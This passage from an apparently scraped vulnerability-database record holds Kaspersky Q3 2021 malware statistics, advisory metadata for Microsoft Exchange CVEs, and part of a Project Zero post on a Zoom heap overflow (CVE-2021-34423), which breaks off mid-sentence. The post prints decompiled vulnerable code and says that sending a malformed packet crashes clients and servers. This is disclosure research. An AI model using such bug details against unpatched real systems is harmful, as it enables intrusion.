\n19 | Tajikistan | 11.44 \n20 | Qatar | 11.14 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average during the quarter, 8.72% of computers of Internet users worldwide were subjected to at least one **Malware-class** web attack.\n\n_Geography of web-based malware attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151358/14-en-malware-report-q3-2021-pc-graphs.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q3 2021, our File Anti-Virus detected **62,577,326** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| **Country*** | **% of attacked users**** \n---|---|--- \n1 | Turkmenistan | 47.42 \n2 | Yemen | 44.27 \n3 | Ethiopia | 42.57 \n4 | Tajikistan | 42.51 \n5 | Uzbekistan | 40.41 \n6 | South Sudan | 40.15 \n7 | Afghanistan | 40.07 \n8 | Cuba | 38.20 \n9 | Bangladesh | 36.49 \n10 | Myanmar | 35.96 \n11 | Venezuela | 35.20 \n12 | China | 35.16 \n13 | Syria | 34.64 \n14 | Madagascar | 33.49 \n15 | Rwanda | 33.06 \n16 | Sudan | 33.01 \n17 | Benin | 32.68 \n18 | Burundi | 31.88 \n19 | Laos | 31.70 \n20 | Cameroon | 31.28 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151433/15-en-malware-report-q3-2021-pc-graphs.png>))_\n\nOn average worldwide, **Malware-class** local threats were recorded on 15.14% of users' computers at least once during the quarter. Russia scored 14.64% in this rating.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-26T12:00:36", "type": "securelist", "title": "IT threat evolution in Q3 2021. PC statistics", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2018-0802", "CVE-2019-7481", "CVE-2021-1640", "CVE-2021-1675", "CVE-2021-22937", "CVE-2021-26084", "CVE-2021-26878", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31195", "CVE-2021-31196", "CVE-2021-31207", "CVE-2021-33766", "CVE-2021-34473", "CVE-2021-34483", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-36934", "CVE-2021-36936", "CVE-2021-36947", "CVE-2021-36958", "CVE-2021-40444"], "modified": "2021-11-26T12:00:36", "id": "SECURELIST:C540EBB7FD8B7FB9E54E119E88DB5C48", "href": "https://securelist.com/it-threat-evolution-in-q3-2021-pc-statistics/104982/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:30:25", "description": "An authentication bypass vulnerability exists in Microsoft Exchange Server. Successful exploitation of this vulnerability would allow remote attackers to gain unauthorized access into the affected system.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-16T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Security Feature Authentication Bypass (CVE-2021-31207)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207"], "modified": "2021-12-16T00:00:00", "id": "CPAI-2021-0900", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2022-10-04T10:05:38", "description": "A remote code execution vulnerability exists in Microsoft Exchange. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Remote Code Execution (CVE-2021-34473; CVE-2021-34523)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-09-30T00:00:00", "id": "CPAI-2021-0476", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2023-05-27T15:17:54", "description": "Microsoft Exchange Server contains an unspecified vulnerability that allows for security feature bypass.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Exchange Server Security Feature Bypass Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-31207", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-05-25T15:17:44", "description": "Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-34473", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdi": [{"lastseen": "2023-05-27T15:47:59", "description": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Microsoft Exchange Server. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the handling of mailbox export. The issue results from the lack of proper validation of user-supplied data, which can allow the upload of arbitrary files. An attacker can leverage this vulnerability to execute arbitrary code in the context of SYSTEM.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-19T00:00:00", "type": "zdi", "title": "(Pwn2Own) Microsoft Exchange Server Arbitrary File Write Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207"], "modified": "2021-07-19T00:00:00", "id": "ZDI-21-819", "href": "https://www.zerodayinitiative.com/advisories/ZDI-21-819/", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-05-23T15:49:57", "description": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Microsoft Exchange Server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the Autodiscover service. The issue results from the lack of proper validation of URI prior to accessing resources. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of SYSTEM.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-19T00:00:00", "type": "zdi", "title": "(Pwn2Own) Microsoft Exchange Server Autodiscover Server Side Request Forgery Authentication Bypass Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473"], "modified": "2021-07-19T00:00:00", "id": "ZDI-21-821", "href": "https://www.zerodayinitiative.com/advisories/ZDI-21-821/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "mscve": [{"lastseen": "2023-05-27T14:47:02", "description": "Microsoft Exchange Server Security Feature Bypass Vulnerability", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-11T07:00:00", "type": "mscve", "title": "Microsoft Exchange Server Security Feature Bypass Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207"], "modified": "2021-05-11T07:00:00", "id": "MS:CVE-2021-31207", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-05-23T16:36:06", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-13T07:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31196", "CVE-2021-31206", "CVE-2021-34473"], "modified": "2021-07-13T07:00:00", "id": "MS:CVE-2021-34473", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T14:46:52", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31196, CVE-2021-34473.", "cvss3": {"exploitabilityScore": 2.1, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-13T07:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.9, "vectorString": "AV:A/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31196", "CVE-2021-31206", "CVE-2021-34473"], "modified": "2021-07-13T07:00:00", "id": "MS:CVE-2021-31206", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31206", "cvss": {"score": 7.9, "vector": "AV:A/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T14:46:52", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31206, CVE-2021-34473.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-13T07:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31196", "CVE-2021-31206", "CVE-2021-34473"], "modified": "2021-07-13T07:00:00", "id": "MS:CVE-2021-31196", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31196", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "googleprojectzero": [{"lastseen": "2023-05-24T14:23:05", "description": "Posted by Natalie Silvanovich, Project Zero\n\n \nZoom is a video conferencing platform that has gained popularity throughout the pandemic. Unlike other video conferencing systems that I have investigated, where one user initiates a call that other users must immediately accept or reject, Zoom calls are typically scheduled in advance and joined via an email invitation. In the past, I hadn\u2019t prioritized reviewing Zoom because I believed that any attack against a Zoom client would require multiple clicks from a user. However, a zero-click attack against the Windows Zoom client was recently [revealed](<https://blog.zoom.us/zoom-sponsors-pwn2own-security-competition/>) at Pwn2Own, showing that it does indeed have a fully remote attack surface. The following post details my investigation into Zoom.\n\nThis analysis resulted in two vulnerabilities being reported to Zoom. One was a buffer overflow that affected both Zoom clients and MMR servers, and one was an info leak that is only useful to attackers on MMR servers. Both of these vulnerabilities were fixed on November 24, 2021. \n\n## Zoom Attack Surface Overview\n\nZoom\u2019s main feature is multi-user conference calls called meetings that support a variety of features including audio, video, screen sharing and in-call text messages. There are several ways that users can join Zoom meetings. To start, Zoom provides full-featured installable clients for many platforms, including Windows, Mac, Linux, Android and iPhone. Users can also join Zoom meetings using a browser link, but they are able to use fewer features of Zoom. Finally, users can join a meeting by dialing phone numbers provided in the invitation on a touch-tone phone, but this only allows access to the audio stream of a meeting. This research focused on the Zoom client software, as the other methods of joining calls use existing device features.\n\nZoom clients support several communication features other than meetings that are available to a user\u2019s Zoom Contacts. A Zoom Contact is a user that another user has added as a contact using the Zoom user interface. Both users must consent before they become Zoom Contacts. Afterwards, the users can send text messages to one another outside of meetings and start channels for persistent group conversations. Also, if either user hosts a meeting, they can invite the other user in a manner that is similar to a phone call: the other user is immediately notified and they can join the meeting with a single click. These features represent the zero-click attack surface of Zoom. Note that this attack surface is only available to attackers that have convinced their target to accept them as a contact. Likewise, meetings are part of the one-click attack surface only for Zoom Contacts, as other users need to click several times to enter a meeting.\n\nThat said, it\u2019s likely not that difficult for a dedicated attacker to convince a target to join a Zoom call even if it takes multiple clicks, and the way some organizations use Zoom presents interesting attack scenarios. For example, many groups host public Zoom meetings, and Zoom supports a paid Webinar feature where large groups of unknown attendees can join a one-way video conference. It could be possible for an attacker to join a public meeting and target other attendees. Zoom also relies on a server to transmit audio and video streams, and end-to-end encryption is off by default. It could be possible for an attacker to compromise Zoom\u2019s servers and gain access to meeting data.\n\n## Zoom Messages\n\nI started out by looking at the zero-click attack surface of Zoom. Loading the Linux client into IDA, it appeared that a great deal of its server communication occurred over XMPP. Based on strings in the binary, it was clear that XMPP parsing was performed using a library called [gloox](<https://camaya.net/gloox/>). I fuzzed this library using AFL and other coverage-guided fuzzers, but did not find any vulnerabilities. I then looked at how Zoom uses the data provided over XMPP.\n\nXMPP traffic seemed to be sent over SSL, so I located the SSL_write function in the binary based on log strings, and hooked it using [Frida](<https://frida.re/>). The output contained many XMPP stanzas (messages) as well as other network traffic, which I analyzed to determine how XMPP is used by Zoom. XMPP is used for most communication between Zoom clients outside of meetings, such as messages and channels, and is also used for signaling (call set-up) when a Zoom Contact invites another Zoom Contact to a meeting.\n\nI spent some time going through the client binary trying to determine how the client processes XMPP, for example, if a stanza contains a text message, how is that message extracted and displayed in the client. Even though the Zoom client contains many log strings, this was challenging, and I eventually asked my teammate Ned Williamson for help locating symbols for the client. He discovered that several old versions of the Android Zoom SDK contained symbols. While these versions are roughly five years old, and do not present a complete view of the client as they only include some libraries that it uses, they were immensely helpful in understanding how Zoom uses XMPP.\n\nApplication-defined tags can be added to gloox\u2019s XMPP parser by extending the class StanzaExtension and implementing the method newInstance to define how the tag is converted into a C++ object. Parsed XMPP stanzas are then processed using the MessageHandler class. Application developers extend this class, implementing the method handleMessage with code that performs application functionality based on the contents of the stanza received. Zoom implements its XMPP handling in CXmppIMSession::handleMessage, which is a large function that is an entrypoint to most messaging and calling features. The final processing stage of many XMPP tags is in the class ns_zoom_messager::CZoomMMXmppWrapper, which contains many methods starting with \u2018On\u2019 that handle specific events. I spent a fair amount of time analyzing these code paths, but didn\u2019t find any bugs. Interestingly, Thijs Alkemade and Daan Keuper released a [write-up](<https://sector7.computest.nl/post/2021-08-zoom/>) of their Pwn2Own bug after I completed this research, and it involved a vulnerability in this area.\n\n## RTP Processing\n\nAfterwards, I investigated how Zoom clients process audio and video content. Like all other video conferencing systems that I have analyzed, it uses Real-time Transport Protocol (RTP) to transport this data. Based on log strings included in the Linux client binary, Zoom appears to use a branch of WebRTC for audio. Since I have looked at this library a great deal in [previous](<https://googleprojectzero.blogspot.com/2018/12/adventures-in-video-conferencing-part-1.html>) [posts](<https://googleprojectzero.blogspot.com/2020/08/exploiting-android-messengers-part-1.html>), I did not investigate it further. For video, Zoom implements its own RTP processing and uses a custom underlying codec named Zealot (libzlt).\n\nAnalyzing the Linux client in IDA, I found what I believed to be the video RTP entrypoint, and fuzzed it using afl-qemu. This resulted in several crashes, mostly in RTP extension processing. I tried modifying the RTP sent by a client to reproduce these bugs, but it was not received by the device on the other side and I suspected the server was filtering it. I tried to get around this by enabling end-to-end encryption, but Zoom does not encrypt RTP headers, only the contents of RTP packets (as is typical of most RTP implementations).\n\nCurious about how Zoom server filtering works, I decided to set up [Zoom On-Premises Deployment](<https://support.zoom.us/hc/en-us/articles/360034064852-Zoom-On-Premise-Deployment>). This is a Zoom product that allows customers to set up on-site servers to process their organization\u2019s Zoom calls. This required a fair amount of configuration, and I ended up reaching out to the Zoom Security Team for assistance. They helped me get it working, and I greatly appreciate their contribution to this research.\n\nZoom On-Premises Deployments consist of two hosts: the controller and the Multimedia Router (MMR). Analyzing the traffic to each server, it became clear that the MMR is the host that transmits audio and video content between Zoom clients. Loading the code for the MMR process into IDA, I located where RTP is processed, and it indeed parses the extensions as a part of its forwarding logic and verifies them correctly, dropping any RTP packets that are malformed.\n\nThe code that processes RTP on the MMR appeared different than the code that I fuzzed on the device, so I set up fuzzing on the server code as well. This was challenging, as the code was in the MMR binary, which was not compiled as a relocatable binary (more on this later). This meant that I couldn\u2019t load it as a library and call into specific offsets in the binary as I usually do to fuzz binaries that don\u2019t have source code available. Instead, I compiled my own fuzzing stub that called the function I wanted to fuzz as a relocatable that defined fopen, and loaded it using LD_PRELOAD when executing the MMR binary. Then my code would take control of execution the first time that the MMR binary called fopen, and was able to call the function being fuzzed.\n\nThis approach has a lot of downsides, the biggest being that the fuzzing stub can\u2019t accept command line parameters, execution is fairly slow and a lot of fuzzing tools don\u2019t honor LD_PRELOAD on the target. That said, I was able to fuzz with code coverage using Mateusz Jurczyk\u2019s excellent [DrSanCov](<https://github.com/googleprojectzero/DrSancov>), with no results.\n\n## Packet Processing\n\nWhen analyzing RTP traffic, I noticed that both Zoom clients and the MMR server process a great deal of packets that didn\u2019t appear to be RTP or XMPP. Looking at the SDK with symbols, one library appeared to do a lot of serialization: libssb_sdk.so. This library contains a great deal of classes with the methods load_from and save_to defined with identical declarations, so it is likely that they all implement the same virtual class.\n\nOne parameter to the load_from methods is an object of class msg_db_t, which implements a buffer that supports reading different data types. Deserialization is performed by load_from methods by reading needed data from the msg_db_t object, and serialization is performed by save_to methods by writing to it.\n\nAfter hooking a few save_to methods with Frida and comparing the written output to data sent with SSL_write, it became clear that these serialization classes are part of the remote attack surface of Zoom. Reviewing each load_from method, several contained code similar to the following (from ssb::conf_send_msg_req::load_from).\n\nssb::i_stream_t<ssb::msg_db_t,ssb::bytes_convertor>::operator>>(\n\nmsg_db, &this->str_len, consume_bytes, error_out);\n\nstr_len = this->str_len;\n\nif ( str_len )\n\n{\n\nmem = operator new[](str_len);\n\nout_len = 0;\n\nthis->str_mem = mem;\n\nssb::i_stream_t<ssb::msg_db_t,ssb::bytes_convertor>::\n\nread_str_with_len(msg_db, mem, &out_len);\n\nread_str_with_len is defined as follows.\n\nint __fastcall ssb::i_stream_t<ssb::msg_db_t,ssb::bytes_convertor>::\n\nread_str_with_len(msg_db_t* msg, signed __int8 *mem,\n\nunsigned int *len)\n\n{\n\nif ( !msg->invalid )\n\n{\n\nssb::i_stream_t<ssb::msg_db_t,ssb::bytes_convertor>::operator>>(msg, len, (int)len, 0);\n\nif ( !msg->invalid )\n\n{\n\nif ( *len )\n\nssb::i_stream_t<ssb::msg_db_t,ssb::bytes_convertor>::\n\nread(msg, mem, *len, 0);\n\n}\n\n}\n\nreturn msg;\n\n}\n\nNote that the string buffer is allocated based on a length read from the msg_db_t buffer, but then a second length is read from the buffer and used as the length of the string that is read. This means that if an attacker could manipulate the contents of the msg_db_t buffer, they could specify the length of the buffer allocated, and overwrite it with any length of data (up to a limit of 0x1FFF bytes, not shown in the code snippet above). \n\nI tested this bug by hooking SSL_write with Frida, and sending the malformed packet, and it caused the Zoom client to crash on a variety of platforms. This vulnerability was assigned [CVE-2021-34423](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2223>) and fixed on November 24, 2021.\n\nLooking at the code for the MMR server, I noticed that ssb::conf_send_msg_req::load_from, the class the vulnerability occurs in was also present on the MMR server. Since the MMR forwards Zoom meeting traffic from one client to another, it makes sense that it might also deserialize this packet type. I analyzed the MMR code in IDA, and found that deserialization of this class only occurs during Zoom Webinars. I purchased a Zoom Webinar license, and was able to crash my own Zoom MMR server by 